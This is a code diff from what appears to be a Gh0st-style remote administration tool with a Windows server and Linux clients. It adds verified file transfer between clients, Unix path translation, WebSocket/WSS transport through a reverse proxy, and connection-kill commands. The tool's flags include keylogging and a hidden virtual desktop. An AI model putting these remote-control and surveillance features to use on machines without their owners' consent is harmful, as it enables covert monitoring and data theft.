if (allFiles.empty()) {
Mprintf("[V2 Send] No files found\n");
Mprintf("[V2 Send] No files found (errno=%d)\n", firstErrno);
SendDownloadError(client, PosixErrnoToWin32(firstErrno));
return;
}
@@ -596,6 +638,9 @@ public:
uint64_t offset = 0;
std::vector<uint8_t> buffer;
buffer.reserve(sizeof(FileChunkPacketV2) + targetNameGbk.length() + CHUNK_SIZE);
Sha256 hasher; // 流式 SHA-256:服务端落盘后会用它校验
bool truncated = false; // 读失败/文件变短 → 不发完成包,避免谎报校验通过
bool sendOk = true;
while (offset < fileSize || (offset == 0 && fileSize == 0)) {
size_t toRead = std::min(CHUNK_SIZE, (size_t)(fileSize - offset));
@@ -628,21 +673,26 @@ public:
ssize_t n = read(fd, dataPtr, toRead);
if (n < 0) {
Mprintf("[V2 Send] read failed: errno=%d\n", errno);
truncated = true;
break;
}
hasher.update(dataPtr, (size_t)n);
if ((size_t)n < toRead) {
// 文件读取不完整,调整包大小
// 文件读取不完整(传输中被截断):调整包大小后作为末块发出,
// 但不发完成包 —— 服务端按原 fileSize 收不全,必须让它失败而不是校验通过。
toRead = n;
pkt->dataLength = toRead;
buffer.resize(sizeof(FileChunkPacketV2) + targetNameGbk.length() + toRead);
isLast = true;
pkt->flags |= FFV2_LAST_CHUNK;
truncated = true;
}
}
// 发送
if (!client->Send2Server((char*)buffer.data(), (ULONG)buffer.size())) {
Mprintf("[V2 Send] Send failed\n");
sendOk = false;
break;
}
@@ -650,12 +700,31 @@ public:
// 空文件处理
if (fileSize == 0) break;
if (truncated) break; // 已按末块发出,不再续读
// 发送间隔 (避免发送过快)
usleep(10000); // 10ms
}
close(fd);
// 完成校验包:服务端凭它判定该文件结束并比对 SHA-256(目录项不发)。
// 与 Windows 客户端 FileBatchTransferWorkerV2 的发送点一致;没有它 MCP
// download_file 的会话永远等不到 filesDone 达标。
if (sendOk && !truncated) {
FileCompletePacketV2 cpkt;
memset(&cpkt, 0, sizeof(cpkt));
cpkt.cmd = COMMAND_FILE_COMPLETE_V2;
cpkt.transferID = transferID;
cpkt.srcClientID = myClientID;
cpkt.dstClientID = 0; // 目标是主控端
cpkt.fileIndex = fileIndex;
cpkt.fileSize = fileSize;
hasher.final(cpkt.sha256);
if (!client->Send2Server((char*)&cpkt, (ULONG)sizeof(cpkt))) {
Mprintf("[V2 Send] Send complete packet failed\n");
}
}
}
Mprintf("[V2 Send] Transfer complete: transferID=%llu\n", transferID);
@@ -663,7 +732,7 @@ public:
private:
static RecvState* GetOrCreateState(uint64_t key, const FileChunkPacketV2* pkt,
const std::string& savePath)
const std::string& savePath, int* openErrno = nullptr)
{
std::lock_guard<std::mutex> lock(s_statesMtx);
@@ -682,6 +751,7 @@ private:
// 打开文件
state->fd = open(savePath.c_str(), O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (state->fd < 0) {
if (openErrno) *openErrno = errno; // errno 会被下面的 Mprintf 冲掉,先存
Mprintf("[V2 Recv] open failed: %s, errno=%d\n", savePath.c_str(), errno);
return nullptr;
}
@@ -691,6 +761,111 @@ private:
return ptr;
}
// ===== C2C 接收回执 =====
// C2C 的目标端不再只是「收包落盘」:本次传输的每个条目都定案后回一包
// C2CSendResultPacket(TOKEN_C2C_RECV_RESULT,与源端的 175 分开,免得两种语义混在一个 token 里),
// 把「是否真的写进去了」告诉服务端。Windows 目标端没有这个能力,服务端对它们保持旧语义。
//
// 条目定案的三个来源(缺一不可):
// 1) 目录项:worker 发的 FFV2_DIRECTORY 包(不带 LAST_CHUNK);
// 2) 非空文件:最后一块写盘成功(再 fstat 核对长度);
// 3) 空文件:worker 不发任何数据块,只发 COMMAND_FILE_COMPLETE_V2。
// 源端的重发(最多 3 次)和「最后一块 + 完成包」都会重复命中同一 fileIndex,用 done 集合去重。
struct RecvProgress {
uint32_t totalFiles = 0; // 从任意数据块/目录包学到(完成包里没有这个字段)
std::set<uint32_t> doneFiles; // 已定案的文件 fileIndex
std::set<uint32_t> doneDirs; // 已定案的目录项 fileIndex
uint64_t bytes = 0; // 实收文件字节数
bool failed = false;
int firstErrno = 0;
};
static bool IsFinalChunk(const FileChunkPacketV2* pkt)
{
return (pkt->flags & FFV2_LAST_CHUNK) != 0;
}
static uint8_t MapErrnoToFileError(int e)
{
switch (e) {
case EACCES:
case EPERM:
case EROFS: return FEV2_ACCESS_DENIED;
case ENOENT:
case ENOTDIR: return FEV2_FILE_NOT_FOUND;
case ENOSPC: return FEV2_DISK_FULL;
default: return FEV2_WRITE_FAILED;
}
}
// 记录一个条目的处理结果;finalChunk 表示这一包关掉了该条目(文件的最后一块 / 目录项 / 完成包)。
// 所有条目都定案后就发回执。err != 0 表示这一条目失败(errno 原样带给服务端)。
static void FinishC2CItem(const FileChunkPacketV2* pkt, IOCPClient* reply, uint64_t myClientID,
bool isFile, bool finalChunk, uint64_t bytes, int err)
{
if (pkt->dstClientID == 0 || reply == nullptr) return; // 服务端上传/下载、或没有回执通道
C2CSendResultPacket res = {};
{
std::lock_guard<std::mutex> lk(s_recvProgressMtx);
// 传输中途断掉时条目会残留:攒多了整体清一次(残留的都是已废弃的 transferID)
if (s_recvProgress.size() > 32) s_recvProgress.clear();
RecvProgress& e = s_recvProgress[pkt->transferID];
if (pkt->totalFiles != 0) e.totalFiles = pkt->totalFiles; // 完成包里没有,沿用学到的值
if (err != 0) {
e.failed = true;
if (e.firstErrno == 0) e.firstErrno = err;
}
if (finalChunk) {
if (isFile) {
if (e.doneFiles.insert(pkt->fileIndex).second && err == 0) e.bytes += bytes;
} else {
e.doneDirs.insert(pkt->fileIndex);
}
}
const bool finished = e.totalFiles != 0
&& e.doneFiles.size() + e.doneDirs.size() >= e.totalFiles;
if (!finished) return;
res.cmd = (uint8_t)TOKEN_C2C_RECV_RESULT;
res.transferID = pkt->transferID;
res.dstClientID = myClientID; // 服务端按连接身份 + dstClientID 双重核对
res.status = e.failed ? (uint32_t)MapErrnoToFileError(e.firstErrno)
: (uint32_t)FEV2_OK;
res.win32err = (uint32_t)e.firstErrno; // 176 包里放的是 errno,不是 win32 码
res.workerRc = 0; // 恒 0:不是源端 worker 返回码
res.fileCount = (uint32_t)e.doneFiles.size();
res.totalBytes = e.bytes;
s_recvProgress.erase(pkt->transferID);
}
// 锁外发送:Send2Server 可能阻塞,不应占着进度表
if (reply->IsConnected() && reply->Send2Server((char*)&res, sizeof(res))) {
Mprintf("[V2 Recv] C2C ack: transferID=%llu, files=%u, bytes=%llu, status=%u, errno=%u\n",
(unsigned long long)res.transferID, res.fileCount,
(unsigned long long)res.totalBytes, res.status, res.win32err);
} else {
Mprintf("[V2 Recv] C2C ack send failed: transferID=%llu\n",
(unsigned long long)res.transferID);
}
}
// COMMAND_FILE_COMPLETE_V2:空文件的唯一「定案」来源(也用来给已定案的非空文件去重)
static void NoteC2CComplete(const FileCompletePacketV2* cp, IOCPClient* reply, uint64_t myClientID)
{
if (cp->dstClientID == 0 || reply == nullptr) return;
FileChunkPacketV2 probe = {};
probe.cmd = COMMAND_SEND_FILE_V2;
probe.transferID = cp->transferID;
probe.dstClientID = cp->dstClientID;
probe.fileIndex = cp->fileIndex;
probe.totalFiles = 0; // 完成包没有 totalFiles,沿用进度表里学到的
probe.fileSize = cp->fileSize;
FinishC2CItem(&probe, reply, myClientID, true, true, 0, 0); // 空文件 bytes=0
}
// 接收状态存储
static inline std::map<uint64_t, std::unique_ptr<RecvState>> s_states;
static inline std::mutex s_statesMtx;
@@ -698,4 +873,8 @@ private:
// C2C 目标目录存储
static inline std::map<uint64_t, std::string> s_targetDirs;
static inline std::mutex s_targetDirMtx;
// C2C 接收进度(按 transferID;定案发完回执即删)
static inline std::map<uint64_t, RecvProgress> s_recvProgress;
static inline std::mutex s_recvProgressMtx;
};
+214
View File
@@ -0,0 +1,214 @@
/**
* UnixPath.h - Windows-style path handling on Unix clients
*
* The Windows server sends paths in its own dialect: drive letters ("C:\", or
* "/:" for a Unix root), backslashes, and environment variables that the Windows
* client expands with ExpandEnvironmentStringsA. The remote shortcut buttons
* (server/2015Remote/FileManagerDlg.cpp: OnRemoteDesktop/OnRemoteDownloads/
* OnRemoteHome) are the visible case — they send "%USERPROFILE%\Desktop\" and
* friends, which a Unix client cannot open as-is.
*
* This header turns such paths into something the Unix clients can use:
* %USERPROFILE% / %HOME% / %HOMEDRIVE%%HOMEPATH% -> $HOME
* %USERNAME% / %USER% / %LOGNAME% -> login name
* $HOME/Desktop (etc.) -> the XDG folder when
* user-dirs.dirs maps it
* (e.g. ~/桌面)
* Unknown %VAR% tokens are left untouched, so paths that legitimately contain a
* percent sign keep working as before.
*
* PLATFORM SUPPORT: Linux, macOS. Windows resolves these natively and does not
* include this header.
*/
#pragma once
#include <unistd.h>
#include <pwd.h>
#include <sys/stat.h>
#include <cctype>
#include <cstdlib>
#include <fstream>
#include <map>
#include <string>
namespace UnixPath
{
// ---- Home directory of the account the client runs as ----
inline std::string HomeDir()
{
const char* home = getenv("HOME");
if (home && *home) return home;
struct passwd* pw = getpwuid(getuid());
if (pw && pw->pw_dir && *pw->pw_dir) return pw->pw_dir;
return "/";
}
inline std::string TrimTrailingSlashes(std::string path)
{
while (path.size() > 1 && path.back() == '/') path.pop_back();
return path;
}
// Read ~/.config/user-dirs.dirs into {"Desktop" -> "/home/user/桌面", ...}.
// The shortcuts use the English folder names, but on a localized desktop the
// real folders are translated and only user-dirs.dirs knows where they are.
// Entries pointing at a missing directory are dropped so the caller falls back
// to the plain "$HOME/<Name>" path.
inline std::map<std::string, std::string> LoadXdgUserDirs()
{
std::map<std::string, std::string> dirs;
std::string home = TrimTrailingSlashes(HomeDir());
const char* cfgHome = getenv("XDG_CONFIG_HOME");
std::string file = (cfgHome && *cfgHome) ? cfgHome : (home + "/.config");
file += "/user-dirs.dirs";
std::ifstream in(file.c_str());
std::string line;
while (std::getline(in, line)) {
size_t eq = line.find('=');
if (eq == std::string::npos || line.compare(0, 4, "XDG_") != 0)
continue;
std::string key = line.substr(4, eq - 4); // DESKTOP_DIR
if (key.size() <= 4 || key.compare(key.size() - 4, 4, "_DIR") != 0)
continue;
std::string value = line.substr(eq + 1);
if (value.size() >= 2 && value.front() == '"' && value.back() == '"')
value = value.substr(1, value.size() - 2);
// $HOME / ${HOME} are the only variables user-dirs.dirs may use
for (size_t pos; (pos = value.find("${HOME}")) != std::string::npos; )
value.replace(pos, 7, home);
for (size_t pos; (pos = value.find("$HOME")) != std::string::npos; )
value.replace(pos, 5, home);
// DESKTOP_DIR -> "Desktop"
std::string name = key.substr(0, key.size() - 4);
for (auto& c : name) c = (char)tolower((unsigned char)c);
if (!name.empty()) name[0] = (char)toupper((unsigned char)name[0]);
if (!value.empty() && access(value.c_str(), F_OK) == 0)
dirs[name] = TrimTrailingSlashes(value);
}
return dirs;
}
inline const std::map<std::string, std::string>& XdgUserDirs()
{
// C++11 guarantees a thread-safe one-time initialization of the local static
static const std::map<std::string, std::string> dirs = LoadXdgUserDirs();
return dirs;
}
// Rewrite $HOME/Desktop (etc.) to the localized folder user-dirs.dirs names.
// Expects a slash-separated absolute path.
inline std::string RemapXdgUserDir(const std::string& path)
{
std::string home = TrimTrailingSlashes(HomeDir());
if (path.compare(0, home.size(), home) != 0)
return path;
const std::map<std::string, std::string>& dirs = XdgUserDirs();
if (dirs.empty())
return path;
std::string base = (home == "/") ? "" : home;
for (const auto& kv : dirs) {
std::string prefix = base + "/" + kv.first;
if (path == prefix ||
(path.compare(0, prefix.size(), prefix) == 0 && path[prefix.size()] == '/'))
return kv.second + path.substr(prefix.size());
}
return path;
}
// Expand %USERPROFILE% style variables in a path the server sent.
inline std::string ExpandWindowsEnvVars(const std::string& in)
{
std::string out;
out.reserve(in.size());
for (size_t i = 0; i < in.size(); ) {
if (in[i] != '%') {
out += in[i++];
continue;
}
size_t end = in.find('%', i + 1);
if (end == std::string::npos) {
out.append(in, i, std::string::npos);
break;
}
// Windows variable names are case-insensitive
std::string name = in.substr(i + 1, end - i - 1);
for (auto& c : name) c = (char)toupper((unsigned char)c);
bool known = true;
std::string value;
if (name == "USERPROFILE" || name == "HOME" || name == "HOMEPATH") {
value = HomeDir();
} else if (name == "HOMEDRIVE") {
// "%HOMEDRIVE%%HOMEPATH%" has to come out as a single absolute home path
value = "";
} else if (name == "USERNAME" || name == "USER" || name == "LOGNAME") {
const char* user = getenv("USER");
if (!user || !*user) user = getenv("LOGNAME");
struct passwd* pw = getpwuid(getuid());
value = (user && *user) ? user : ((pw && pw->pw_name) ? pw->pw_name : "");
} else {
known = false;
}
if (known)
out += value;
else
out.append(in, i, end - i + 1);
i = end + 1;
}
return out;
}
// Convert a Windows-dialect path into one the Unix clients can open:
// %USERPROFILE%\Desktop\ -> /home/user/Desktop/ (or the XDG desktop folder)
// /:\home\user\file.txt -> /home/user/file.txt
// C:\Users\file.txt -> /Users/file.txt
// "" -> /
inline std::string ToUnixPath(const std::string& winPath)
{
if (winPath.empty()) return "/";
std::string p = ExpandWindowsEnvVars(winPath);
// 1. Backslash -> forward slash
for (auto& c : p) {
if (c == '\\') c = '/';
}
// 2. Remove "X:/" or "X:" prefix (handles both /: and C: style)
if (p.size() >= 3 && p[1] == ':' && p[2] == '/') {
p = p.substr(3);
} else if (p.size() >= 2 && p[1] == ':') {
p = p.substr(2);
}
// 3. Ensure starts with /
if (p.empty() || p[0] != '/') {
p = "/" + p;
}
// 4. Merge consecutive slashes
std::string result;
result.reserve(p.size());
for (size_t i = 0; i < p.size(); i++) {
if (i > 0 && p[i] == '/' && p[i - 1] == '/')
continue;
result += p[i];
}
if (result.empty()) return "/";
// 5. "$HOME/Desktop" -> localized folder (~/桌面 ...) when user-dirs.dirs says so
return RemapXdgUserDir(result);
}
} // namespace UnixPath
+123 -9
View File
@@ -136,6 +136,9 @@ inline int isValid_10s()
#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
// 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读
#define CLIENT_CAP_SCREEN_PREVIEW 0x0004 // 支持屏幕预览(双击在线主机时弹缩略图)
#define CLIENT_CAP_C2C_PATHS 0x0008 // 支持按路径清单向另一客户端发送文件(COMMAND_C2C_SEND_FILES,仅 Windows)
#define CLIENT_CAP_C2C_RECV_ACK 0x0010 // 作为 C2C 目标端时,落盘完成后回执(TOKEN_C2C_RECV_RESULT,目前仅 Linux)
#define CLIENT_CAP_PROTO_SWITCH 0x0020 // 支持服务端远程切换传输协议(COMMAND_SET_PROTO,仅 Windows)
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
@@ -317,7 +320,37 @@ enum {
TOKEN_REPORT_LOG = 156,
COMMAND_FORBIDDEN = 157,
CMD_CUSTOM_CURSOR = 158,
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
COMMAND_TLS_ENABLE = 166, // 服务端 → 客户端:启用 TLS 传输(写注册表,下次启动生效)
COMMAND_TLS_DISABLE = 167, // 服务端 → 客户端:停用 TLS 传输(写注册表,下次启动生效)
COMMAND_REGEN_CLIENT_ID = 168, // 服务端 → 客户端:撞 ID 的克隆机重生成 client_id(掺随机 UUID)后重连
COMMAND_SCREEN_KEYFRAME_REQ = 169, // 服务端 → 客户端:下一次屏幕编码强制输出 IDR(Web 屏幕墙恢复用)
// MCP 结构化失败回报(客户端 → 服务端,仅失败分支发送;成功路径报文不变)。
// 170-198 是当前未占用的字节值,显式赋值避免后续插入重编号。
TOKEN_SERVICE_ERROR = 170, // [token:1][win32err:4 LE] 服务枚举失败(典型:OpenSCManager 权限不足)
TOKEN_FILE_LIST_ERROR = 171, // [token:1][win32err:4 LE] 文件列表失败(典型:路径不存在/非法)
TOKEN_REG_ERROR = 172, // [token:1][lstatus:4 LE] 注册表打开失败(键不存在/拒绝访问)
TOKEN_DOWNLOAD_ERROR = 173, // [token:1][win32err:4 LE] 下载请求无可用文件(路径全部不存在)
// MCP C2C 文件传输(服务端 → 源客户端 → 目标客户端;数据由服务端原样中继)。
// COMMAND_C2C_SEND_FILES / TOKEN_C2C_SEND_RESULT 只有声明 CLIENT_CAP_C2C_PATHS 的新客户端认识;
// TOKEN_C2C_RECV_RESULT 由声明 CLIENT_CAP_C2C_RECV_ACK 的目标端回发,老服务端走 default 丢弃。
COMMAND_C2C_SEND_FILES = 174, // [C2CSendFilesPacket][targetDir\0][path1\0]...[\0]
TOKEN_C2C_SEND_RESULT = 175, // [C2CSendResultPacket] 源客户端回传的发送结果
TOKEN_C2C_RECV_RESULT = 176, // [C2CSendResultPacket] 目标客户端回传的落盘回执(win32err 放 errno)
// 协议切换(服务端 → 客户端):把连接入口改成指定传输(TCP/WS/WSS)并立即重连。
// 客户端把入口写进本机配置后断开,重连循环按新入口重连;新入口连不上会自动回退。
COMMAND_SET_PROTO = 177, // [ProtoSwitchPacket][certLen 字节 PEM 正文]
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
COMMAND_REG_FIND, // 注册表 管理标识
@@ -355,8 +388,48 @@ enum {
COMMAND_TEXT_REPLACE = 249,
TOKEN_CLIP_TEXT = 250,
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
};
// COMMAND_SET_PROTO 的载荷(紧跟命令字节)。
//
// host/port 都为空表示「还原到安装时的直连入口」:客户端用本地记住的原入口(prev_*)
// 恢复,服务端不需要知道客户端的直连地址。证书正文只在切换 WSS 且客户端可能还没有
// 信任锚时附带——客户端写入后重建 TLS 上下文,随后按新入口重连即走 WSS。
#pragma pack(push, 1)
struct ProtoSwitchPacket {
uint8_t proto; // PROTO_TCP / PROTO_WS / PROTO_WSS
char host[100]; // 反向代理域名(SNI / Host 头),空 = 还原
char port[8]; // 反向代理端口,空 = 还原
uint32_t certLen; // 随后附带的信任锚 PEM 字节数(0 = 不下发)
};
#pragma pack(pop)
static_assert(sizeof(ProtoSwitchPacket) == 113, "ProtoSwitchPacket must be exactly 113 bytes");
// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
#pragma pack(push, 1)
struct ConnectionInfo {
uint8_t proto; // 1=TCP, 2=UDP [1]
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
uint32_t pid; // 所属进程 PID [4]
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
uint16_t localPort; // 主机字节序(小端) [2]
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
uint16_t remotePort; // 主机字节序,同上 [2]
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
}; // 合计 110
#pragma pack(pop)
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
#pragma pack(push, 1)
struct SignatureResp {
char msg[64];
@@ -413,13 +486,17 @@ static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 by
// 屏幕预览:服务端按双击在线主机触发,向客户端要一张缩略图(JPEG),与浮窗一起显示。
// 服务端依 ctx 最近心跳 Ping + RES_RESOLUTION 决定 maxWidth/quality 后下发;客户端
// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。format 字段 v1 锁 0=JPEG,预留 PNG/WebP。
// 主屏抓图 → 等比缩放 → JPEG 编码 → 回响应。
//
// format 字段:v1 只有 JPEG(0);Windows 客户端走这条路(GDI+ 编码)。Linux 客户端
// 没有可依赖的 JPEG 编码库,改为回 BGRX(3) 原始像素,由服务端在 IO 线程统一编码成
// JPEG——下游(浮窗/列表缩略图/MCP get_screenshot)因此只认 JPEG 一种格式。
#pragma pack(push, 1)
struct ScreenPreviewReq {
uint8_t cmd; // = COMMAND_SCREEN_PREVIEW_REQ
uint16_t reqId; // 请求序号,用于丢弃过期响应
uint16_t maxWidth; // 服务端期望的目标宽度(客户端等比缩放,不强制)
uint8_t jpegQuality; // 1..100
uint8_t jpegQuality; // 1..100(BGRX 客户端不编码,服务端按自己的档位重编)
uint16_t reserved;
}; // 总 8 字节
@@ -434,6 +511,9 @@ enum ScreenPreviewFormat {
SCREEN_PREVIEW_FMT_JPEG = 0,
SCREEN_PREVIEW_FMT_PNG = 1, // 预留
SCREEN_PREVIEW_FMT_WEBP = 2, // 预留
// 原始像素:自上而下逐行、每像素 4 字节 B,G,R,X(X 填充为 0xFF),无行首对齐填充。
// bytes 必须等于 width*height*4;客户端已缩放到 maxWidth 以内,不再二次缩放。
SCREEN_PREVIEW_FMT_BGRX = 3,
};
struct ScreenPreviewRspHeader {
@@ -766,9 +846,15 @@ enum ProtoType {
PROTO_HTTP = 2, // HTTP
PROTO_RANDOM = 3, // 随机
PROTO_KCP = 4, // KCP
PROTO_HTTPS = 5, // HTTPS
PROTO_WS = 5, // WebSocket(明文;反代把 upgrade 转发到主控端口)
PROTO_WSS = 6, // WebSocket over TLS(客户端经反代 443 等受限端口接入)
PROTO_HTTPS = 7, // HTTPS(未启用:生成界面从未提供该选项,故 5 可让给 WS;原值 5)
};
// WebSocket 传输的 Upgrade 路径。反代的 location 必须与这里一致(服务端默认接受任意路径,
// 该常量只决定客户端请求哪个路径,见 client/WsChannel.h)。
#define WS_UPGRADE_PATH "/api/ws"
#define KCP_SESSION_ID 666
enum RunningType {
@@ -819,7 +905,8 @@ public:
char installDir[32]; // 安装目录
char installName[32]; // 安装名称
char installDesc[136];// 安装描述
char szFututre[500]; // 保留字段
int installFlag; // 安装标记
char szFututre[496]; // 保留字段
public:
void SetType(int typ)
@@ -1029,6 +1116,7 @@ enum LOGIN_RES {
RES_CLIENT_ID = 16, // 客户端唯一ID
RES_PID = 17, // 进程ID
RES_FILESIZE = 18, // 文件大小
RES_TLS = 19, // TLS 传输启用标志 0/1
RES_MAX,
};
@@ -1053,13 +1141,34 @@ typedef struct LOGIN_INFOR {
{
memset(this, 0, sizeof(LOGIN_INFOR));
bToken = TOKEN_LOGIN;
// 能力位:声明客户端实际实现了的功能。SCREEN_PREVIEW 只在 Windows 客户端
// 实现(依赖 GDI BitBlt + GDI+ JPEG),Linux/macOS 不声明,避免服务端发请求
// 后等 4s 超时显示"预览不可用"。
SetCaps(DefaultCaps());
}
// 本平台的默认能力位:声明客户端实际实现了的功能。
// SCREEN_PREVIEW 依赖抓屏:Windows 恒为真(GDI BitBlt + GDI+ JPEG);Linux 要等
// 运行时确认有可截图的 X11 会话,所以不在这里声明,由 main.cpp 探测后用
// SetCaps(DefaultCaps() | CLIENT_CAP_SCREEN_PREVIEW) 追加。
static unsigned int DefaultCaps()
{
unsigned int caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
#ifdef _WIN32
caps |= CLIENT_CAP_SCREEN_PREVIEW;
caps |= CLIENT_CAP_C2C_PATHS;
// 协议切换(COMMAND_SET_PROTO)只有 Windows 客户端实现了命令处理与入口持久化。
caps |= CLIENT_CAP_PROTO_SWITCH;
#elif defined(__linux__) && !defined(__ANDROID__)
// Linux 客户端作为 C2C 目标端时会回执落盘结果(common/FileTransferV2.h)。
// macOS 暂未接线(无全局主连接句柄),不声明——服务端就不会为它空等回执。
caps |= CLIENT_CAP_C2C_RECV_ACK;
#endif
return caps;
}
// 覆写能力位。服务端只从 moduleVersion 的 "版本-XXXX" 后缀解析能力位
// (2015RemoteDlg.cpp AddList),因此改能力位必须重写该字段;
// LOGIN_INFOR 是与服务端共享的定长结构,不能再加成员来携带它。
void SetCaps(unsigned int caps)
{
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, caps);
}
LOGIN_INFOR& Speed(unsigned long speed)
@@ -1181,7 +1290,9 @@ typedef struct MasterSettings {
char GetPluginUrl[80]; // Since 2026-04-08
char Authorized; // Since 2026-05-15
char IsTrail; // Since 2026-05-15
char Reserved[106]; // Since 2025-11-27
uint16_t TransferChunkKb; // Since 2026-10-07 文件传输速度 chunkKb(随登录配置下发)
uint16_t TransferDurationMs; // Since 2026-10-07 文件传输速度 durationMs(0=不限速)
char Reserved[102]; // Since 2025-11-27
} MasterSettings;
#pragma pack(pop)
@@ -1642,6 +1753,10 @@ typedef struct CharMsg {
}
} CharMsg;
#endif
// 客户端 -> 服务端的老式提示框消息(TOKEN_CLIENT_MSG)。原来定义在 _WIN32 区内,
// Linux 客户端自升级失败回报也要用,故移到公共区(strcpy_s 在非 Windows 下已 alias)。
typedef struct ClientMsg {
unsigned char cmd;
char title[31];
@@ -1664,4 +1779,3 @@ typedef struct ClientMsg {
}
} ClientMsg;
#endif
+1
View File
@@ -16,6 +16,7 @@
#define ENABLE_AUDIO_MNG TRUE // 语音管理
#define ENABLE_VIDEO_MNG TRUE // 视频管理
#define ENABLE_SERVICE_MNG TRUE // 服务管理
#define ENABLE_CONNECTION_MNG TRUE // 连接管理
#define ENABLE_REGISTRY TRUE // 注册表管理
#define ENABLE_KEYBOARD TRUE // 键盘记录
+29
View File
@@ -99,6 +99,34 @@ struct C2CPrepareRespPacket {
// char path[pathLength]; // UTF-8 目标目录
}; // 19 bytes + path
// C2C 路径清单发送请求(服务端 → 源客户端):让源客户端把指定路径(文件或目录)直接发给另一个客户端。
// 与 COMMAND_CLIPBOARD_V2 的区别是「路径由服务端指定」,而不是取源端剪贴板/资源管理器选中项。
// 字符串一律用 ANSI(936),与 CMD_DOWN_FILES_V2 一致:客户端用 A 版 API 访问文件系统。
struct C2CSendFilesPacket {
uint8_t cmd; // COMMAND_C2C_SEND_FILES = 174
uint64_t transferID; // 传输ID(服务端生成,结果包原样带回)
uint64_t srcClientID; // 源客户端(收包方)
uint64_t dstClientID; // 目标客户端(收包方即发送方,数据包里带上它)
char hash[64]; // 认证哈希(与上一级主控一致,目标端按自己的 m_hash 解密)
char hmac[16]; // HMAC
uint8_t flags; // 保留(bit0 = 断点续传,v1 恒 0,不启用)
// char targetDir[...]; '\0'; // 目标端保存目录(绝对路径,不以 '\' 结尾也可)
// char path1[...]; '\0'; ...; // 源端绝对路径(文件或目录),列表以空串结束:额外一个 '\0'
}; // 106 bytes + 字符串
// C2C 结果包:源客户端 → 服务端(TOKEN_C2C_SEND_RESULT,发送结果)
// 或 目标客户端 → 服务端(TOKEN_C2C_RECV_RESULT,落盘回执;win32err 位置放 errno,workerRc 恒 0)
struct C2CSendResultPacket {
uint8_t cmd; // TOKEN_C2C_SEND_RESULT = 175 / TOKEN_C2C_RECV_RESULT = 176
uint64_t transferID; // 对应请求的 transferID
uint64_t dstClientID; // 目标客户端
uint32_t status; // 0=已全部发送;FEV2_* 失败码;1001=发送线程失败(见 workerRc)
uint32_t win32err; // status=FEV2_FILE_NOT_FOUND/ACCESS_DENIED 时的首个 win32 码
int32_t workerRc; // FileBatchTransferWorkerV2 返回值(0=成功)
uint32_t fileCount; // 实际发出的文件数(不含目录项)
uint64_t totalBytes; // 实际发出的(回执里是实际落盘的)文件字节数
}; // 41 bytes(#pragma pack(1))
// V2 文件完成校验包
struct FileCompletePacketV2 {
uint8_t cmd; // COMMAND_FILE_COMPLETE_V2 = 91
@@ -130,6 +158,7 @@ enum FileErrorV2 : uint8_t {
FEV2_TRANSFER_CANCEL = 6, // 传输被取消
FEV2_CHECKSUM_ERROR = 7, // 校验和错误(块级CRC)
FEV2_HASH_MISMATCH = 8, // 哈希不匹配(文件级SHA-256)
FEV2_WRITE_FAILED = 9, // 接收端写盘失败(POSIX 端 errno 无法归类时用它,明细在 win32err)
};
// V2 续传查询包(发送方在传输前发送)
+12
View File
@@ -256,6 +256,18 @@ public:
}
};
// 文件传输速度:读取 [transfer] 节 ChunkKb / DurationMs,缺省 64KB/50ms(≈1.25MB/s),
// 并夹到安全范围。服务端(THIS_CFG)与客户端(iniFile(CLIENT_PATH))共用此逻辑,保证
// 各 InitFileUpload 调用点读到的档位一致(库按进程级引用计数只在首次设定速度,见
// docs/FileTransferSpeed_Design.md)。
inline void GetTransferSpeed(config& cfg, int& chunkKb, int& durMs)
{
chunkKb = cfg.GetInt("transfer", "ChunkKb", 64);
durMs = cfg.GetInt("transfer", "DurationMs", 50);
if (chunkKb <= 0 || chunkKb > 1024) chunkKb = 64;
if (durMs < 0 || durMs > 2000) durMs = 50;
}
// 配置读取类: 注册表配置(带键句柄缓存)
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
class iniFile : public config
+25 -3
View File
@@ -4,6 +4,8 @@
#include <iphlpapi.h>
#include <ws2tcpip.h>
#include <WinInet.h>
#include <map>
#include <mutex>
